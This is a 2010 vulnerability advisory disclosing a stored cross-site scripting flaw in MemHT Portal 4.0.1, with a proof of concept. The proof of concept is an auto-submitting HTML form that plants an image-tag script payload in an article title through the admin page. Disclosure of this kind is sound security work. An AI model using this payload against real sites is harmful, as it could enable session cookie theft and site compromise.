Stored XSS (Cross Site Scripting) vulnerability in MemHT Portal

2010-11-02T00:00:00
ID SECURITYVULNS:DOC:25033
Type securityvulns
Reporter Securityvulns
Modified 2010-11-02T00:00:00

Description

Vulnerability ID: HTB22663 Reference: http://www.htbridge.ch/advisory/stored_xss_cross_site_scripting_vulnerability_in_memht_portal.html Product: MemHT Portal Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) Vulnerable Version: 4.0.1 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/pages/articles/index.php" script to properly sanitize user-supplied input in "nome" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=articles&op=editArticle&id=1&ok=true" method="post" name="main"> <input type="hidden" name="nome" value="Example article<img src=x onerror=alert(123)>"> <input type="hidden" name="argomento" value="1"> <input type="hidden" name="descrizione" value="description"> <input type="hidden" name="testo" value="text"> <input type="hidden" name="autore" value="User"> <input type="hidden" name="tags" value="article,example"> <input type="hidden" name="language" value="0"> <input type="hidden" name="usecomments" value="1"> <input type="hidden" name="enabled" value="1"> <input type="hidden" name="Submit" value="Modify"> </form> <script> document.main.submit(); </script>